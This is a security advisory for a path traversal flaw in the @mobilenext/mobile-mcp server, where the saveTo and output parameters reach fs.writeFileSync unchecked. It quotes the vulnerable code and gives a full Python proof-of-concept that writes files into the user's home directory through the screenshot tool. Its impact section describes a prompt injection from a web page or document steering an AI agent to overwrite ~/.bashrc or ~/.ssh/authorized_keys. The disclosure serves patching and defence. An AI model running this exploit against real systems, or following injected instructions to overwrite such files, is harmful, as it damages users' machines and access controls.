@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools
Summary
The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.
Details
File: src/server.ts (lines 584-592)
tool(
"mobile_save_screenshot",
"Save Screenshot",
"Save a screenshot of the mobile device to a file",
{
device: z.string().describe("The device identifier..."),
saveTo: z.string().describe("The path to save the screenshot to"),
},
{ destructiveHint: true },
async ({ device, saveTo }) => {
const robot = getRobotFromDevice(device);
const screenshot = await robot.getScreenshot();
fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
return `Screenshot saved to: ${saveTo}`;
},
);
Root Cause
The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.
Additional Affected Tool
File: src/server.ts (lines 597-620)
The mobile_start_screen_recording tool has the same vulnerability in its output parameter.
PoC
#!/usr/bin/env python3
import json
import os
import subprocess
import sys
import time
from datetime import datetime
SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5
def log(level, msg):
print(f"[{level.upper()}] {msg}")
def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
"""Send JSON-RPC message and receive response."""
try:
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
time.sleep(timeout)
line = proc.stdout.readline()
return json.loads(line) if line else None
except Exception as e:
log("error", f"Communication error: {e}")
return None
def send_notification(proc, method, params=None):
"""Send JSON-RPC notification (no response expected)."""
msg = {"jsonrpc": "2.0", "method": method}
if params:
msg["params"] = params
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
def start_server():
"""Start the mobile-mcp server."""
log("info", "Starting mobile-mcp server...")
try:
proc = subprocess.Popen(
SERVER_CMD,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
time.sleep(STARTUP_DELAY)
if proc.poll() is not None:
stderr = proc.stderr.read()
log("error", f"Server failed to start: {stderr[:200]}")
return None
log("info", f"Server started (PID: {proc.pid})")
return proc
except FileNotFoundError:
log("error", "npx not found. Please install Node.js")
return None
def initialize_session(proc):
"""Initialize MCP session with handshake."""
log("info", "Initializing MCP session...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
},
},
)
if not resp or "error" in resp:
log("error", f"Initialize failed: {resp}")
return False
send_notification(proc, "notifications/initialized")
time.sleep(0.5)
server_info = resp.get("result", {}).get("serverInfo", {})
log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
return True
def get_devices(proc):
"""Get list of connected devices."""
log("info", "Enumerating connected devices...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": "mobile_list_available_devices", "arguments": {}},
},
)
if resp:
content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
try:
devices = json.loads(content).get("devices", [])
return devices
except:
log("warning", f"Could not parse device list: {content[:100]}")
return []
def exploit_path_traversal(proc, device_id, target_path):
"""Execute path traversal exploit."""
log("info", f"Target path: {target_path}")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 100,
"method": "tools/call",
"params": {
"name": "mobile_save_screenshot",
"arguments": {"device": device_id, "saveTo": target_path},
},
},
timeout=2,
)
if resp:
content = resp.get("result", {}).get("content", [{}])
if isinstance(content, list) and content:
text = content[0].get("text", "")
log("info", f"Server response: {text[:100]}")
check_path = target_path
if target_path.startswith(".."):
check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))
if os.path.exists(check_path):
size = os.path.getsize(check_path)
log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
return True, check_path, size
elif "Screenshot saved" in text:
log("info", f"Server confirmed write (file may be at relative path)")
return True, target_path, 0
log("warning", "Exploit may have failed or file not accessible")
return False, target_path, 0
def main():
device_id = sys.argv[1] if len(sys.argv) > 1 else None
proc = start_server()
if not proc:
sys.exit(1)
try:
if not initialize_session(proc):
sys.exit(1)
if not device_id:
devices = get_devices(proc)
if devices:
log("info", f"Found {len(devices)} device(s):")
for d in devices:
print(f" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
device_id = devices[0].get("id")
log("info", f"Using device: {device_id}")
else:
log("error", "No devices found. Please connect a device and try again.")
log("info", "Usage: python3 exploit.py <device_id>")
sys.exit(1)
home = os.path.expanduser("~")
exploits = [
"../../exploit_2_traversal.png",
f"{home}/exploit.png",
f"{home}/.poc_dotfile",
]
results = []
for target in exploits:
success, path, size = exploit_path_traversal(proc, device_id, target)
results.append((target, success, path, size))
finally:
proc.terminate()
log("info", "Server terminated.")
if __name__ == "__main__":
main()
Impact
A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @mobilenext/mobile-mcp | < 0.0.49 | 0.0.49 |
References
- https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx
- https://nvd.nist.gov/vuln/detail/CVE-2026-33989
- https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b
- https://github.com/mobile-next/mobile-mcp
- https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H- Weakness (CWE)
CWE-22, CWE-73- Platform
- npm
- Package
@mobilenext/mobile-mcp- Disclosed
- 27.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3p2m-h2v6-g9mx - CC BY 4.0
Vulnerability history: @mobilenext/mobile-mcp
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 03.2026 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
Disclosures per year
- 2026: 2
-
@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools this entry
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